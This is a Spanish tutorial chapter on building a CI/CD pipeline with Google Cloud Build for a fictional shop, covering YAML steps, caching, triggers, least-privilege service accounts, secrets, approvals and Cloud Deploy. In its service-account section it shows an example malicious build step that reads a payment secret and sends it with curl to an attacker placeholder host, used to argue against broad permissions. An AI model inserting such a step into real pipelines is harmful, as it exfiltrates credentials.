Hay aplicación, hay datos y hay modelos. Y todo depende de que dos personas se acuerden de ejecutar las cosas. Este módulo empieza justo ahí, y empieza por el eslabón más frágil de toda la cadena: cómo llega el código de Dani a producción.
La respuesta actual es incómoda de escribir. Dani abre un terminal en su portátil, ejecuta docker build, espera unos minutos, ejecuta docker push contra Artifact Registry y después lanza a mano el kubectl set image sobre alpinashop-cluster. Si ese día tiene una dependencia distinta instalada, la imagen sale distinta. Si olvida ejecutar las pruebas, nadie las ejecuta. Si está de baja, nadie despliega. Y si algo falla en producción, la única forma de saber qué versión hay corriendo es preguntárselo a él.
En esta lección eso se acaba. Vas a construir un proceso automático que, ante cada cambio del código, instala dependencias, ejecuta las pruebas, analiza el código, construye una imagen reproducible, la publica etiquetada con el identificador exacto del commit y la despliega en desarrollo sin que nadie toque un terminal. Y vas a entender por qué cada pieza está donde está, que es lo que distingue copiar un cloudbuild.yaml de saber diseñar uno.
Contenido
- El problema real: cómo se despliega AlpinaShop hoy
- Integración continua y entrega continua: qué significan de verdad
- Qué es Cloud Build y cómo ejecuta las cosas
- El fichero
cloudbuild.yamlcampo a campo - El pipeline del catálogo de AlpinaShop, paso a paso
- Caché de compilación: por qué tu build tarda ocho minutos
- Disparadores: qué lanza la compilación y cuándo
- La cuenta de servicio de Cloud Build y el antipatrón del Editor
- Secretos durante la compilación con Secret Manager
- Promoción entre entornos y aprobaciones manuales
- Grupos de trabajadores privados dentro de la VPC
- Cloud Deploy: entrega progresiva gestionada
- Escaneo de vulnerabilidades y Binary Authorization
- El pipeline de ML del módulo 5, llevado al nivel 2
- Coste de las compilaciones
- El problema real: cómo se despliega AlpinaShop hoy
Merece la pena escribir el procedimiento actual como lo haría Dani si alguien le pidiera documentarlo:
# El "procedimiento de despliegue" de AlpinaShop, versión 2025
git pull
python -m pytest # opcional, según las prisas
docker build -t catalogo .
docker tag catalogo europe-west1-docker.pkg.dev/alpinashop-prod/alpinashop/catalogo:latest
docker push europe-west1-docker.pkg.dev/alpinashop-prod/alpinashop/catalogo:latest
kubectl set image deployment/catalogo-web \
catalogo=europe-west1-docker.pkg.dev/alpinashop-prod/alpinashop/catalogo:latest \
-n tiendaSon seis comandos. Parecen inofensivos. Contienen cinco problemas graves:
| Problema | Consecuencia concreta |
|---|---|
| Las pruebas son "opcionales según las prisas" | El día que hay prisa es justo el día que se rompe algo |
| La imagen se construye en el portátil de Dani | Su Python local, sus dependencias, su caché: no es reproducible |
La etiqueta es latest |
Nadie puede saber qué código hay en producción ni volver atrás |
| No hay separación entre desarrollo y producción | Lo que se prueba no es exactamente lo que se despliega |
| El proceso vive en la cabeza de una persona | Bus factor de 1 |
El tercero es el más venenoso y conviene entenderlo bien. latest no es una versión: es un puntero móvil. Si mañana la tienda falla y quieres volver a la imagen de la semana pasada, no existe: la sobrescribiste. Si quieres saber qué commit generó el contenedor que está sirviendo peticiones, no hay forma. Una etiqueta inmutable derivada del commit convierte cada imagen en un punto exacto de la historia del código, y esa es la propiedad que hace posible todo lo demás: diagnóstico, auditoría y vuelta atrás.
- Integración continua y entrega continua: qué significan de verdad
Los dos términos se usan como si fueran uno, y no lo son.
Integración continua (CI) es la práctica de integrar el trabajo de todo el mundo en la rama principal con frecuencia —idealmente varias veces al día— y verificar automáticamente cada integración. Su producto no es un despliegue: es una respuesta rápida a la pregunta "¿este cambio rompe algo?". Si la respuesta tarda dos días, deja de ser útil, porque para entonces hay diez cambios más encima y ya no sabes cuál lo rompió.
Entrega continua (CD, continuous delivery) es la práctica de mantener el software siempre en un estado en el que podría desplegarse, con el despliegue automatizado hasta el punto de que lanzarlo sea pulsar un botón. La decisión de pulsarlo sigue siendo humana.
Despliegue continuo (continuous deployment) va un paso más allá: todo cambio que pasa las verificaciones va a producción solo, sin botón.
| Práctica | Qué automatiza | ¿Hay decisión humana? | ¿Encaja hoy en AlpinaShop? |
|---|---|---|---|
| Integración continua | Construir, probar, analizar | No hace falta | Sí, desde ya |
| Entrega continua | Todo lo anterior + desplegar bajo demanda | Sí, el botón | Sí, el objetivo del módulo |
| Despliegue continuo | Todo, sin intervención | No | Todavía no: faltan pruebas y observabilidad |
AlpinaShop va a implantar CI completa y entrega continua, con despliegue automático a alpinashop-dev y aprobación manual antes de alpinashop-prod. El despliegue continuo a producción es un objetivo legítimo, pero requiere una red de seguridad —cobertura de pruebas, alertas fiables, capacidad de vuelta atrás automática— que no existirá hasta después de 06-04 y 06-06.
Hay un beneficio de la CI que casi nunca se menciona y que es el más valioso: obliga a que el proyecto se pueda construir desde cero en una máquina limpia. El primer intento de escribir un pipeline de CI destapa siempre las mismas cosas: un fichero de configuración que solo existe en el portátil de alguien, una dependencia instalada a mano hace dos años, una variable de entorno que nadie documentó. Descubrirlas duele, pero descubrirlas en una compilación es infinitamente mejor que descubrirlas el día que se incorpora una persona nueva o que hay que reconstruir el entorno de urgencia.
- Qué es Cloud Build y cómo ejecuta las cosas
Cloud Build es el servicio gestionado de GCP para ejecutar procesos de compilación. Su modelo mental es sorprendentemente sencillo y merece la pena interiorizarlo porque explica todo su comportamiento:
Una compilación es una secuencia de pasos. Cada paso es un contenedor que se ejecuta sobre un directorio de trabajo compartido llamado
/workspace.
Eso es todo. No hay un lenguaje de scripting propio, ni plugins, ni un modelo de extensión: si necesitas ejecutar algo, ejecutas un contenedor que sepa hacerlo.
flowchart LR
A[Disparador:<br/>push a Git] --> B[Cloud Build<br/>clona el repo en /workspace]
B --> C[Paso 1<br/>contenedor python]
C --> D[Paso 2<br/>contenedor pytest]
D --> E[Paso 3<br/>contenedor docker/kaniko]
E --> F[Paso 4<br/>contenedor gcloud]
F --> G[Artefactos:<br/>imagen en Artifact Registry]
C -. mismo /workspace .-> D
D -. mismo /workspace .-> E
Las tres consecuencias prácticas de este modelo:
- Todo lo que persiste entre pasos vive en
/workspace. Un paso que instala paquetes en/usr/localde su contenedor no le deja nada al siguiente. Un paso que escribe en/workspace/venvsí. Este es el detalle que más confusión causa a quien empieza, y volveremos a él en el apartado 5. - Cada paso puede usar la imagen que quiera. El paso de pruebas puede ser
python:3.11, el de análisis estáticogolangci-lint, el de desplieguegcr.io/google.com/cloudsdktool/cloud-sdk. No hay que meterlo todo en una imagen monstruosa. - La compilación se ejecuta en infraestructura efímera de Google, no en tu portátil. Máquina limpia, siempre igual, y con una identidad propia (su cuenta de servicio, apartado 8).
Google publica imágenes de constructor (cloud builders) para las herramientas habituales: gcr.io/cloud-builders/docker, gcr.io/cloud-builders/gcloud, gcr.io/cloud-builders/git, gcr.io/cloud-builders/npm. Pero no estás obligado a usarlas: cualquier imagen pública o de tu Artifact Registry sirve, y en 2026 la recomendación general es usar imágenes oficiales del ecosistema (python:3.11-slim, node:22) en lugar de las de cloud-builders, que están congeladas en versiones antiguas.
- El fichero
cloudbuild.yaml campo a campo
cloudbuild.yaml campo a campoEl pipeline se declara en un fichero YAML que vive en el repositorio, junto al código. Que viva ahí no es un detalle organizativo: significa que el proceso de compilación se versiona, se revisa en un pull request y evoluciona con el código al que sirve.
Este es el esqueleto completo con todos los campos que vas a usar:
steps:
- name: 'python:3.11-slim' # imagen del contenedor que ejecuta el paso
id: 'instalar' # nombre del paso, para referirlo en waitFor
entrypoint: 'bash' # sobrescribe el ENTRYPOINT de la imagen
args: ['-c', 'pip install -r requirements.txt -t /workspace/lib']
env: # variables de entorno solo de este paso
- 'PIP_DISABLE_PIP_VERSION_CHECK=1'
- name: 'python:3.11-slim'
id: 'pruebas'
waitFor: ['instalar'] # dependencias explícitas entre pasos
entrypoint: 'python'
args: ['-m', 'pytest', '-q']
substitutions: # variables propias, siempre con guion bajo
_REGION: 'europe-west1'
_ENTORNO: 'dev'
images: # imágenes que Cloud Build publicará al final
- 'europe-west1-docker.pkg.dev/$PROJECT_ID/alpinashop/catalogo:$COMMIT_SHA'
artifacts: # ficheros que se suben a Cloud Storage
objects:
location: 'gs://alpinashop-artefactos/informes/$BUILD_ID/'
paths: ['informe-cobertura.xml']
options:
machineType: 'E2_HIGHCPU_8' # tamaño de la máquina de compilación
logging: CLOUD_LOGGING_ONLY # dónde van los logs (ver apartado 8)
timeout: '1200s' # tiempo máximo total de la compilaciónCampo a campo, con lo que importa de cada uno:
| Campo | Qué hace | Lo que hay que saber |
|---|---|---|
steps |
Lista ordenada de pasos | Por defecto se ejecutan en serie, en el orden escrito |
name |
Imagen del contenedor del paso | Fija la versión con etiqueta explícita, nunca latest |
entrypoint |
Sobrescribe el ejecutable | Necesario cuando la imagen ya trae un ENTRYPOINT propio |
args |
Argumentos del comando | Si usas bash -c, todo el script va en un solo elemento |
env |
Variables de entorno del paso | Solo de ese paso; no se propagan al siguiente |
id |
Nombre del paso | Solo sirve para que otros pasos lo referencien |
waitFor |
Pasos previos requeridos | La clave del paralelismo, ver abajo |
dir |
Directorio de trabajo dentro de /workspace |
Útil en monorepos |
substitutions |
Variables de la compilación | Las tuyas deben empezar por _ |
images |
Imágenes a publicar al terminar | Se publican solo si todos los pasos han ido bien |
artifacts |
Ficheros a subir a Cloud Storage | Informes de cobertura, binarios, etc. |
options |
Configuración global | Tamaño de máquina, logging, cuenta de servicio |
timeout |
Límite total | Por defecto 60 minutos; si se supera, la compilación falla |
waitFor: cómo se paraleliza una compilación
Por defecto cada paso espera al anterior. Con waitFor declaras de qué depende realmente cada paso, y Cloud Build ejecuta en paralelo todo lo que puede:
- name: 'python:3.11-slim'
id: 'pruebas'
waitFor: ['instalar']
- name: 'python:3.11-slim'
id: 'lint'
waitFor: ['instalar'] # también depende de 'instalar', no de 'pruebas'
# → 'pruebas' y 'lint' corren EN PARALELO
- name: 'gcr.io/kaniko-project/executor:latest'
id: 'construir'
waitFor: ['pruebas', 'lint'] # espera a los dosHay un valor especial: waitFor: ['-'] significa "no esperes a nadie, arranca desde el principio". Es útil para tareas independientes como descargar una caché.
El paralelismo aquí no es una micro-optimización. Si las pruebas tardan tres minutos y el análisis estático otros dos, ejecutarlos a la vez convierte una compilación de cinco minutos en una de tres. Y la velocidad de la CI determina si el equipo la usa: un pipeline de veinte minutos se acaba saltando; uno de cuatro, no.
Sustituciones: las de Cloud Build y las tuyas
Cloud Build rellena automáticamente un conjunto de variables:
| Variable | Contenido | Uso típico |
|---|---|---|
$PROJECT_ID |
Proyecto donde corre la compilación | Rutas de Artifact Registry |
$COMMIT_SHA |
SHA completo del commit | La etiqueta de la imagen |
$SHORT_SHA |
Primeros 7 caracteres del SHA | Etiquetas legibles |
$BRANCH_NAME |
Rama que disparó la compilación | Lógica condicional por rama |
$TAG_NAME |
Etiqueta Git, si el disparador es por tag | Versiones de release |
$BUILD_ID |
Identificador único de la compilación | Rutas de artefactos, correlación de logs |
$REPO_NAME |
Nombre del repositorio | Monorepos |
$COMMIT_SHA y $SHORT_SHA solo tienen valor si la compilación viene de un disparador conectado a un repositorio. Si lanzas gcloud builds submit desde tu máquina, están vacías. Es una causa de fallo muy común: la imagen se publica con la etiqueta catalogo: y nadie entiende por qué.
Tus propias sustituciones llevan _ delante y se declaran en substitutions: con un valor por defecto que el disparador puede sobrescribir. Ese es el mecanismo con el que un mismo cloudbuild.yaml sirve para varios entornos.
- El pipeline del catálogo de AlpinaShop, paso a paso
Este es el fichero real que va a la raíz del repositorio del catálogo. Léelo entero y después lo desmontamos:
substitutions:
_REGION: 'europe-west1'
_REPO: 'europe-west1-docker.pkg.dev/alpinashop-prod/alpinashop'
_SERVICIO: 'catalogo'
_CLUSTER: 'alpinashop-cluster'
_NAMESPACE: 'tienda'
steps:
# 1. Dependencias: se instalan DENTRO de /workspace para que persistan
- name: 'python:3.11-slim'
id: 'instalar'
entrypoint: 'bash'
args:
- '-c'
- |
pip install --upgrade pip
pip install -r requirements.txt -r requirements-dev.txt \
--target=/workspace/lib
# 2. Pruebas unitarias con pytest
- name: 'python:3.11-slim'
id: 'pruebas'
waitFor: ['instalar']
entrypoint: 'bash'
env: ['PYTHONPATH=/workspace/lib']
args:
- '-c'
- |
python -m pytest -q --junitxml=/workspace/informe-pruebas.xml \
--cov=catalogo --cov-report=xml:/workspace/cobertura.xml
python -m coverage report --fail-under=70
# 3. Análisis estático, EN PARALELO con las pruebas
- name: 'python:3.11-slim'
id: 'lint'
waitFor: ['instalar']
entrypoint: 'bash'
env: ['PYTHONPATH=/workspace/lib']
args:
- '-c'
- |
python -m ruff check catalogo/
python -m bandit -r catalogo/ -ll
# 4. Construir la imagen con kaniko y caché
- name: 'gcr.io/kaniko-project/executor:v1.23.2'
id: 'construir'
waitFor: ['pruebas', 'lint']
args:
- '--destination=${_REPO}/${_SERVICIO}:$COMMIT_SHA'
- '--cache=true'
- '--cache-ttl=168h'
- '--dockerfile=Dockerfile'
- '--context=dir:///workspace/'
# 5. Desplegar en el entorno de desarrollo
- name: 'gcr.io/google.com/cloudsdktool/cloud-sdk:slim'
id: 'desplegar-dev'
waitFor: ['construir']
entrypoint: 'bash'
args:
- '-c'
- |
gcloud container clusters get-credentials ${_CLUSTER} \
--region ${_REGION} --project alpinashop-dev
kubectl set image deployment/${_SERVICIO}-web \
${_SERVICIO}=${_REPO}/${_SERVICIO}:$COMMIT_SHA \
-n ${_NAMESPACE}
kubectl rollout status deployment/${_SERVICIO}-web \
-n ${_NAMESPACE} --timeout=180s
artifacts:
objects:
location: 'gs://alpinashop-artefactos/builds/$BUILD_ID/'
paths: ['informe-pruebas.xml', 'cobertura.xml']
options:
machineType: 'E2_HIGHCPU_8'
logging: CLOUD_LOGGING_ONLY
timeout: '900s'Paso 1, dependencias. El --target=/workspace/lib es la pieza que hace que esto funcione. Sin él, pip instalaría en el site-packages del contenedor python:3.11-slim, ese contenedor terminaría, y el paso 2 arrancaría un contenedor nuevo y limpio sin las dependencias. Con él, los paquetes quedan en el directorio compartido y el paso 2 los encuentra gracias a PYTHONPATH.
Paso 2, pruebas. Dos cosas importantes. --junitxml genera un informe en formato estándar que después se sube como artefacto —útil para revisar qué falló sin bucear en los logs—. Y --fail-under=70 hace que la compilación falle si la cobertura baja del 70 %. Esa línea es una decisión de política, no técnica: convierte "deberíamos escribir más pruebas" en una regla que el sistema aplica. Empieza con un umbral que ya cumplas y súbelo poco a poco; poner un 90 % de golpe en un proyecto que está al 40 % solo consigue que alguien borre la línea.
Paso 3, análisis estático. ruff detecta problemas de estilo y errores evidentes; bandit busca patrones inseguros en Python —credenciales embebidas, uso de subprocess con shell=True, algoritmos criptográficos débiles—. El -ll limita el aviso a severidad media o superior para evitar ruido. Fíjate en que su waitFor apunta a instalar, no a pruebas: por eso se ejecuta a la vez.
Paso 4, construir. Se usa kaniko en lugar de docker build, y el motivo es doble: kaniko construye imágenes sin necesitar un demonio Docker con privilegios, y trae caché de capas remota integrada. El apartado 6 entra en detalle. La etiqueta es $COMMIT_SHA y no aparece latest por ninguna parte.
Paso 5, desplegar en desarrollo. El despliegue va a alpinashop-dev, nunca a alpinashop-prod desde este pipeline. Y el kubectl rollout status --timeout=180s es imprescindible: sin él, el paso terminaría con éxito en cuanto Kubernetes acepta la orden, aunque los pods nuevos entren en CrashLoopBackOff treinta segundos después. Con él, la compilación falla si el despliegue no converge, que es lo que quieres saber.
Para lanzarlo a mano mientras lo pruebas:
gcloud builds submit --config=cloudbuild.yaml \
--substitutions=_SERVICIO=catalogo \
--project=alpinashop-cicd .Fíjate en el proyecto: alpinashop-cicd. Hasta ahora ese proyecto estaba creado y vacío. Aquí empieza a tener sentido: las compilaciones se ejecutan en un proyecto propio, separado de los entornos que despliegan. Eso permite dar a Cloud Build permisos acotados sobre alpinashop-dev y alpinashop-prod sin que viva dentro de ellos, y mantiene el historial de compilaciones y sus logs fuera de los proyectos de producción.
- Caché de compilación: por qué tu build tarda ocho minutos
La primera compilación tarda lo que tarda. Las siguientes no deberían, y si tardan lo mismo es que no hay caché.
Una imagen Docker es una pila de capas, y cada instrucción del Dockerfile genera una. Si una capa no ha cambiado y las anteriores tampoco, se puede reutilizar. El problema es que Cloud Build ejecuta cada compilación en una máquina limpia: no hay caché local que reutilizar. Hay que traerla de algún sitio.
Dos mecanismos, con distinto perfil:
| Mecanismo | Cómo funciona | Cuándo usarlo |
|---|---|---|
kaniko con --cache=true |
Sube y baja capas de un repositorio de caché en Artifact Registry, automáticamente | Por defecto, casi siempre |
docker build --cache-from |
Descarga una imagen previa y la usa como referencia de capas | Cuando necesitas Docker por otro motivo |
Con --cache-from el patrón es este, y tiene una trampa:
- name: 'gcr.io/cloud-builders/docker'
entrypoint: 'bash'
args:
- '-c'
- |
docker pull ${_REPO}/${_SERVICIO}:cache || true # el || true es clave
docker build \
--cache-from ${_REPO}/${_SERVICIO}:cache \
-t ${_REPO}/${_SERVICIO}:$COMMIT_SHA \
-t ${_REPO}/${_SERVICIO}:cache .El || true evita que la primera compilación falle, cuando todavía no existe ninguna imagen de caché que descargar. Es un detalle pequeño que rompe muchos pipelines nuevos.
Pero la caché solo ayuda si el Dockerfile está ordenado para aprovecharla. Compara:
# MAL: cualquier cambio en el código invalida la instalación de dependencias
COPY . /app
RUN pip install -r /app/requirements.txt
# BIEN: las dependencias solo se reinstalan si requirements.txt cambia
COPY requirements.txt /app/
RUN pip install -r /app/requirements.txt
COPY . /appLa regla general: de lo que menos cambia a lo que más cambia. Las dependencias cambian una vez al mes; el código, veinte veces al día. Si copias el código antes de instalar dependencias, cada commit reinstala todo. Este cambio de tres líneas suele recortar más tiempo de compilación que cualquier ajuste de máquina.
El otro factor es el tamaño de la máquina. El valor por defecto es modesto; E2_HIGHCPU_8 cuesta más por minuto pero puede reducir el tiempo total lo suficiente para salir más barato, además de dar respuesta más rápida al equipo. Mídelo antes de decidir: en compilaciones dominadas por descargas de red, más CPU no aporta nada.
- Disparadores: qué lanza la compilación y cuándo
Un disparador (trigger) es la regla que conecta un evento de un repositorio con un cloudbuild.yaml. Sin disparadores tienes un script; con ellos, integración continua.
| Tipo | Evento | Uso en AlpinaShop |
|---|---|---|
| Push a rama | Commit en una rama que coincide con un patrón | ^main$ → construir y desplegar en dev |
| Pull request | Apertura o actualización de un PR | Construir y probar sin desplegar |
| Etiqueta (tag) | Se crea una etiqueta Git | ^v\d+\.\d+\.\d+$ → candidata a producción |
| Manual | Alguien lo lanza desde consola o gcloud |
Recompilaciones puntuales, migraciones |
| Webhook / Pub/Sub | Mensaje externo | Reentrenamiento de ML, ver apartado 14 |
Crear el disparador de rama principal:
gcloud builds triggers create github \
--name=catalogo-main \
--repo-name=alpinashop-catalogo \
--repo-owner=alpinashop \
--branch-pattern='^main$' \
--build-config=cloudbuild.yaml \
--region=europe-west1 \
--service-account=projects/alpinashop-cicd/serviceAccounts/[email protected] \
--project=alpinashop-cicdY el de pull request, que es el que realmente protege la rama principal:
gcloud builds triggers create github \
--name=catalogo-pr \
--repo-name=alpinashop-catalogo \
--repo-owner=alpinashop \
--pull-request-pattern='^main$' \
--comment-control=COMMENTS_ENABLED_FOR_EXTERNAL_CONTRIBUTORS_ONLY \
--build-config=cloudbuild-pr.yaml \
--region=europe-west1 \
--project=alpinashop-cicdEl cloudbuild-pr.yaml es el mismo pipeline sin el paso de despliegue: instala, prueba y analiza. Su función es dar un veredicto verde o rojo en el pull request antes de que nadie lo fusione. El --comment-control evita que un contribuidor externo desconocido pueda ejecutar código arbitrario en tu proyecto abriendo un PR; en un repositorio privado de un equipo pequeño importa menos, pero es un buen hábito.
Un filtro muy útil en repositorios con varias cosas dentro es --included-files, que evita compilar el catálogo porque alguien corrigió una errata en el README:
--included-files='catalogo/**,requirements*.txt,Dockerfile,cloudbuild.yaml' \
--ignored-files='**/*.md,docs/**'La conexión con el repositorio se configura una sola vez. AlpinaShop la hará con GitHub a través de la aplicación de Cloud Build, y todo el detalle —incluida la alternativa de Cloud Source Repositories y por qué está en desuso— es exactamente el tema de 06-02.
- La cuenta de servicio de Cloud Build y el antipatrón del Editor
Este es el apartado que más disgustos evita.
Toda compilación se ejecuta con una identidad. Históricamente Cloud Build usaba una cuenta de servicio automática, <número-proyecto>@cloudbuild.gserviceaccount.com, a la que Google concedía el rol Editor sobre el proyecto. Cómodo y catastrófico: significa que cualquiera que pueda modificar el cloudbuild.yaml puede hacer casi cualquier cosa en el proyecto. Y modificar ese fichero es simplemente abrir un pull request.
Imagina el ataque, que no requiere ningún conocimiento especial:
# Un paso añadido en un pull request aparentemente inocente
- name: 'gcr.io/google.com/cloudsdktool/cloud-sdk:slim'
entrypoint: 'bash'
args: ['-c', 'gcloud secrets versions access latest --secret=api-key-pasarela-pago | curl -X POST -d @- https://servidor-del-atacante.example']Si la cuenta de Cloud Build tiene Editor, ese paso funciona. Por eso, desde 2024, los proyectos nuevos ya no reciben el rol Editor por defecto y se recomienda especificar una cuenta de servicio propia por disparador. Y por eso el disparador del apartado 7 lleva --service-account.
La configuración correcta para AlpinaShop, con el principio de mínimo privilegio de 03-04 aplicado de verdad:
# Cuenta dedicada al pipeline del catálogo, en el proyecto de CI/CD
gcloud iam service-accounts create sa-build-catalogo \
--display-name="Cloud Build - catalogo web" \
--project=alpinashop-cicd
[email protected]
# Escribir en Artifact Registry: solo eso, en el repositorio concreto
gcloud artifacts repositories add-iam-policy-binding alpinashop \
--location=europe-west1 --project=alpinashop-prod \
--member="serviceAccount:${SA}" --role=roles/artifactregistry.writer
# Desplegar en el clúster de DESARROLLO, no en producción
gcloud projects add-iam-policy-binding alpinashop-dev \
--member="serviceAccount:${SA}" --role=roles/container.developer
# Escribir sus propios logs
gcloud projects add-iam-policy-binding alpinashop-cicd \
--member="serviceAccount:${SA}" --role=roles/logging.logWriterTres roles. Ni uno más. Fíjate en lo que no tiene: ningún permiso sobre alpinashop-prod salvo escribir en el repositorio de imágenes, ningún acceso a Secret Manager que no se le conceda secreto a secreto, ninguna capacidad de tocar IAM, ninguna capacidad de borrar nada.
Hay un detalle operativo asociado: cuando usas una cuenta de servicio propia, debes especificar logging: CLOUD_LOGGING_ONLY en options (o darle un bucket de Cloud Storage donde escribir), porque el comportamiento por defecto exige permisos que esa cuenta no tiene. Es el primer error que aparece al migrar, y el mensaje no es especialmente claro.
La regla mental que conviene grabarse: el pipeline de CI/CD es el sistema con más privilegios de tu infraestructura, porque por definición puede desplegar código en todas partes. Trátalo como tal. Si un atacante tiene que elegir un objetivo en AlpinaShop, no elegirá la web: elegirá esto.
- Secretos durante la compilación con Secret Manager
Algunas compilaciones necesitan credenciales: un token para publicar en un registro privado, una clave de API para un servicio de análisis. Lo que nunca debe ocurrir es que esa credencial esté escrita en el cloudbuild.yaml, porque ese fichero está en Git y ahí se queda para siempre, aunque después lo borres.
Cloud Build se integra con Secret Manager (03-06) mediante availableSecrets:
availableSecrets:
secretManager:
- versionName: projects/alpinashop-prod/secrets/token-registro-privado/versions/latest
env: 'TOKEN_REGISTRO'
steps:
- name: 'python:3.11-slim'
id: 'publicar-paquete'
entrypoint: 'bash'
secretEnv: ['TOKEN_REGISTRO'] # este paso, y solo este, ve el secreto
args:
- '-c'
- |
pip config set global.index-url \
"https://oauth2accesstoken:[email protected]/alpinashop-prod/pypi/simple/"
python -m build && python -m twine upload dist/*Tres detalles que hay que entender:
$$TOKEN_REGISTROlleva dos dólares. Un solo$haría que Cloud Build intentara sustituirlo como si fuera una variable suya, encontrase que no existe y dejase la cadena vacía. Con$$el valor llega literal al shell, que es quien resuelve la variable de entorno.secretEnvva por paso. Solo los pasos que lo declaran ven el secreto. Un paso de pruebas no tiene por qué tener acceso al token de publicación.- La cuenta de servicio de la compilación necesita
roles/secretmanager.secretAccessorsobre ese secreto concreto, concedido en la política del propio secreto, no a nivel de proyecto.
Y una advertencia que parece obvia y sin embargo pasa: si tu script imprime el secreto, aparece en los logs. Cloud Build no censura la salida. Un set -x en un script bash o un echo de depuración olvidado bastan para filtrar una credencial a Cloud Logging, donde la puede leer cualquiera con permiso de lectura de logs. Si sospechas que ha ocurrido, la respuesta correcta no es borrar el log: es rotar el secreto.
- Promoción entre entornos y aprobaciones manuales
El pipeline construido despliega en alpinashop-dev. Producción necesita otra cosa, y esa otra cosa se llama promoción.
El principio es sencillo y es la razón de ser de la etiqueta inmutable:
La imagen que va a producción es exactamente la misma que se probó en desarrollo. No se reconstruye. Se promociona.
Si en producción se reconstruyera la imagen desde el código, sería una imagen distinta —otra fecha, quizá otra versión de una dependencia transitiva— y todo lo verificado en desarrollo dejaría de valer. Lo que cambia entre entornos es la configuración (variables, secretos, tamaño), no el artefacto.
flowchart LR
A[Push a main] --> B[CI: pruebas + lint]
B --> C[Imagen :SHA en<br/>Artifact Registry]
C --> D[Despliegue automático<br/>alpinashop-dev]
D --> E{Aprobación<br/>manual}
E -->|Marta aprueba| F[Despliegue<br/>alpinashop-prod]
E -->|Rechaza| G[Se queda en dev]
F --> H[Verificación<br/>post-despliegue]
El disparador de producción se crea con --require-approval:
gcloud builds triggers create manual \
--name=catalogo-promocion-prod \
--repo=https://github.com/alpinashop/alpinashop-catalogo \
--repo-type=GITHUB \
--branch=main \
--build-config=cloudbuild-prod.yaml \
--require-approval \
--region=europe-west1 \
--service-account=projects/alpinashop-cicd/serviceAccounts/[email protected] \
--project=alpinashop-cicdCuando ese disparador se activa, la compilación queda en estado pendiente hasta que alguien con el rol roles/cloudbuild.builds.approver la aprueba desde la consola. Marta lo tiene; Dani no. Y esa separación no es desconfianza: es la aplicación al despliegue del mismo principio de 03-04 según el cual nadie es owner de producción.
Fíjate también en que el despliegue a producción usa otra cuenta de servicio, sa-deploy-prod, que sí tiene permisos sobre alpinashop-prod. La cuenta que ejecuta las pruebas y construye la imagen nunca los tiene. Si alguien compromete el pipeline de CI, no llega a producción sin pasar por una aprobación humana ejecutada con otra identidad.
El cloudbuild-prod.yaml recibe la etiqueta a desplegar como sustitución y no construye nada:
substitutions:
_IMAGEN_SHA: '' # obligatorio: se pasa al aprobar
steps:
- name: 'gcr.io/google.com/cloudsdktool/cloud-sdk:slim'
entrypoint: 'bash'
args:
- '-c'
- |
test -n "${_IMAGEN_SHA}" || { echo "Falta _IMAGEN_SHA"; exit 1; }
gcloud container clusters get-credentials alpinashop-cluster \
--region europe-west1 --project alpinashop-prod
kubectl set image deployment/catalogo-web \
catalogo=europe-west1-docker.pkg.dev/alpinashop-prod/alpinashop/catalogo:${_IMAGEN_SHA} \
-n tienda
kubectl rollout status deployment/catalogo-web -n tienda --timeout=300sLa comprobación test -n de la primera línea existe porque una sustitución vacía produciría la etiqueta catalogo:, que falla de forma confusa. Es una guarda de tres palabras que ahorra media hora de desconcierto.
- Grupos de trabajadores privados dentro de la VPC
Por defecto las compilaciones se ejecutan en un grupo de trabajadores compartido de Google, con salida a internet y sin acceso a tu VPC. Para AlpinaShop eso funciona hasta el día en que una prueba de integración necesita conectarse a alpinashop-pedidos por IP privada, o el paso de despliegue tiene que llegar a un endpoint interno.
Un grupo de trabajadores privado (private pool) es un conjunto de máquinas de compilación conectadas a tu VPC:
gcloud builds worker-pools create pool-alpinashop \
--region=europe-west1 \
--project=alpinashop-cicd \
--peered-network=projects/alpinashop-prod/global/networks/alpinashop-vpc \
--worker-machine-type=e2-standard-4 \
--no-public-egressY se usa desde el cloudbuild.yaml:
| Aspecto | Grupo compartido | Grupo privado |
|---|---|---|
| Acceso a la VPC | No | Sí, por emparejamiento |
| Salida a internet | Sí | Configurable (--no-public-egress) |
| IP de salida | De Google, variable | Fija, se puede permitir en un firewall |
| Coste | Solo minutos de compilación | Minutos + máquinas reservadas |
| Cuándo usarlo | Por defecto | Pruebas contra recursos privados, requisitos de cumplimiento |
El --no-public-egress merece una nota: elimina la salida a internet, lo que es excelente para la seguridad y rompe cualquier paso que descargue dependencias de PyPI o imágenes de Docker Hub. Si lo activas, necesitas réplicas internas de esos repositorios en Artifact Registry. Es una decisión seria; para AlpinaShop hoy, el grupo compartido es suficiente y el privado se reserva para cuando haya pruebas de integración contra Cloud SQL.
- Cloud Deploy: entrega progresiva gestionada
Cloud Build es excelente construyendo y aceptable desplegando. Cuando el despliegue se complica —tres entornos, despliegue canario, vuelta atrás con un comando, historial de qué versión estuvo en cada sitio— hay una herramienta específica: Cloud Deploy.
Cloud Deploy modela un pipeline de entrega con destinos ordenados y gestiona la promoción entre ellos:
apiVersion: deploy.cloud.google.com/v1
kind: DeliveryPipeline
metadata:
name: catalogo-web
serialPipeline:
stages:
- targetId: desarrollo
profiles: [dev]
- targetId: produccion
profiles: [prod]
strategy:
canary:
runtimeConfig:
kubernetes:
serviceNetworking:
service: catalogo-svc
deployment: catalogo-web
canaryDeployment:
percentages: [10, 50] # 10 % → 50 % → 100 %
verify: true
---
apiVersion: deploy.cloud.google.com/v1
kind: Target
metadata:
name: produccion
requireApproval: true
gke:
cluster: projects/alpinashop-prod/locations/europe-west1/clusters/alpinashop-clusterLo que aporta sobre un kubectl set image en Cloud Build:
- Despliegue canario real: el 10 % del tráfico va a la versión nueva, se verifica, se pasa al 50 %, se verifica, y solo entonces al 100 %.
- Vuelta atrás con un comando, sin reconstruir nada, porque conoce el historial de lo desplegado.
- Registro de qué versión está en qué destino, que responde a la pregunta "¿qué hay en producción?" sin preguntarle a nadie.
- Aprobaciones por destino integradas.
| Situación | Herramienta |
|---|---|
| Un servicio, dos entornos, despliegue directo | Cloud Build es suficiente |
| Varios servicios, tres o más entornos | Cloud Deploy |
| Necesitas canario o blue/green gestionado | Cloud Deploy |
| Quieres respuesta a "qué versión hay dónde" sin scripts | Cloud Deploy |
Para AlpinaShop hoy, con un servicio y dos entornos, Cloud Build basta y añadir Cloud Deploy sería complejidad sin beneficio. Se anota como el paso natural para cuando el catálogo se mueva a Cloud Run en 07-02, donde Cloud Deploy encaja especialmente bien porque el reparto de tráfico por porcentaje es nativo del servicio.
- Escaneo de vulnerabilidades y Binary Authorization
